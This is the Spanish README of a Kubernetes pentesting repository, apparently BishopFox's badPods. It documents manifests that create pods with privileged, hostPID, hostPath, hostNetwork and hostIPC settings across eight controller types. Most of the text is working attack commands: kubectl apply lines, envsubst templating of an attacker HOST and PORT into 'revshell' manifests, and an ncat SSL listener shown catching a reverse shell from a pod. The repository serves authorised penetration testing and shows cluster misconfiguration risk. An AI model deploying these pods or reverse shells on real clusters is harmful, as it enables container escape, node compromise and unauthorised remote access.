
Una colección de manifiestos que crearán pods con privilegios elevados.

Una colección de manifiestos que crean pods con diferentes privilegios elevados. Demuestra rápidamente el impacto de permitir atributos de pod sensibles a la seguridad como hostNetwork, hostPID, hostPath, hostIPC y privileged.
Para obtener más información, consulte nuestra publicación de blog: Bad Pods: Escalada de privilegios en pods de Kubernetes.
Cada enlace a continuación proporciona información detallada de uso y recomendaciones de post-explotación.
Para obtener información más general sobre los requisitos previos, la organización del repositorio y los patrones de uso comunes, consulte las secciones siguientes.
├── manifests
│ ├── everything-allowed
│ │ ├── cronjob
│ │ │ ├── everything-allowed-exec-cronjob.yaml
│ │ │ └── everything-allowed-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── everything-allowed-exec-daemonset.yaml
│ │ │ └── everything-allowed-revshell-daemonset.yaml
│ │ ├── deployment
│ │ │ ├── everything-allowed-exec-deployment.yaml
│ │ │ └── everything-allowed-revshell-deployment.yaml
│ │ ├── job
│ │ │ ├── everything-allowed-exec-job.yaml
│ │ │ └── everything-allowed-revshell-job.yaml
│ │ ├── pod
│ │ │ ├── everything-allowed-exec-pod.yaml
│ │ │ └── everything-allowed-revshell-pod.yaml
│ │ ├── replicaset
│ │ │ ├── everything-allowed-exec-replicaset.yaml
│ │ │ └── everything-allowed-revshell-replicaset.yaml
│ │ ├── replicationcontroller
│ │ │ ├── everything-allowed-exec-replicationcontroller.yaml
│ │ │ └── everything-allowed-revshell-replicationcontroller.yaml
│ │ └── statefulset
│ │ ├── everything-allowed-exec-statefulset.yaml
│ │ └── everything-allowed-revshell-statefulset.yaml
│ ├── hostipc
│ │ ├── cronjob
│ │ │ ├── hostipc-exec-cronjob.yaml
│ │ │ └── hostipc-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── hostipc-exec-daemonset.yaml
│ │ │ └── hostipc-revshell-daemonset.yaml
...omitted for brevity...
Como señala Eviatar Gerzi (@g3rzi) en el artículo Eight Ways to Create a Pod, hay 8 controladores diferentes que pueden crear un pod o un conjunto de pods. Puede que no esté autorizado para crear pods, pero quizá pueda crear otro tipo de recurso que cree uno o más pods. Para cada tipo de badPod, existen manifiestos que corresponden a los ocho tipos de recursos.
Pero espera, ¡aún hay más! Además de los ocho controladores actuales de Kubernetes que pueden crear pods, hay controladores de terceros que también pueden crear pods si se aplican al clúster. Esté atento a ellos revisando kubectl api-resources.
Aunque es común, no siempre se puede ejecutar (exec) dentro de los pods que se crean. Para ayudar en esas situaciones, se incluye una versión de cada manifiesto que utiliza la imagen ncat de dockerhub de Rory McCune (@raesene). Al crearse, el pod realizará una llamada cifrada de vuelta a su listener.
Cada recurso en el directorio manifests apunta a un atributo específico o a una combinación de atributos que exponen al clúster a riesgo cuando se permiten.
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
Para evitar tener que editar cada pod con su host y puerto, puede usar variables de entorno y el comando envsubst. ¡Recuerde poner en marcha todos sus listeners primero!
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml
Busque el pod creado
kubectl get pods | grep cronjob
NAME READY STATUS RESTARTS AGE
hostnetwork-exec-cronjob-1607351160-gm2x4 1/1 Running 0 24s
Ejecute dentro del pod
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml
Busque el pod creado
kubectl get pods | grep deployment
priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 1/1 Running 0 56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh 1/1 Running 0 56s
Ejecute dentro del pod
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;
cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created
Vea todos los pods creados
kubectl get pods
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-daemonset-qbrdb 1/1 Running 0 52s
everything-allowed-exec-deployment-6cd7685786-rp65h 1/1 Running 0 51s
everything-allowed-exec-deployment-6cd7685786-m66bl 1/1 Running 0 51s
everything-allowed-exec-job-fhsbt 1/1 Running 0 50s
everything-allowed-exec-pod 1/1 Running 0 50s
everything-allowed-exec-replicaset-tlp8v 1/1 Running 0 49s
everything-allowed-exec-replicaset-6znbz 1/1 Running 0 49s
everything-allowed-exec-replicationcontroller-z9k8n 1/1 Running 0 48s
everything-allowed-exec-replicationcontroller-m4648 1/1 Running 0 48s
everything-allowed-exec-statefulset-0 1/1 Running 0 47s
everything-allowed-exec-statefulset-1 1/1 Running 0 42s
Elimine todos los recursos everything-allowed
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;
Configure el listener
ncat --ssl -vlp 3116
Cree el pod desde el yaml local sin modificarlo usando variables de entorno y envsubst
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -
Capture la shell
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
Se aceptan pull requests e issues.
Gracias a Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi y Madhu Akula por compartir públicamente tanto conocimiento sobre la seguridad ofensiva de Kubernetes.
Cada Bad Pod tiene su propia sección de referencias y lecturas adicionales, pero aquí hay algunos recursos más generales que le ayudarán a mejorar sus habilidades en evaluaciones de seguridad de Kubernetes y pruebas de penetración.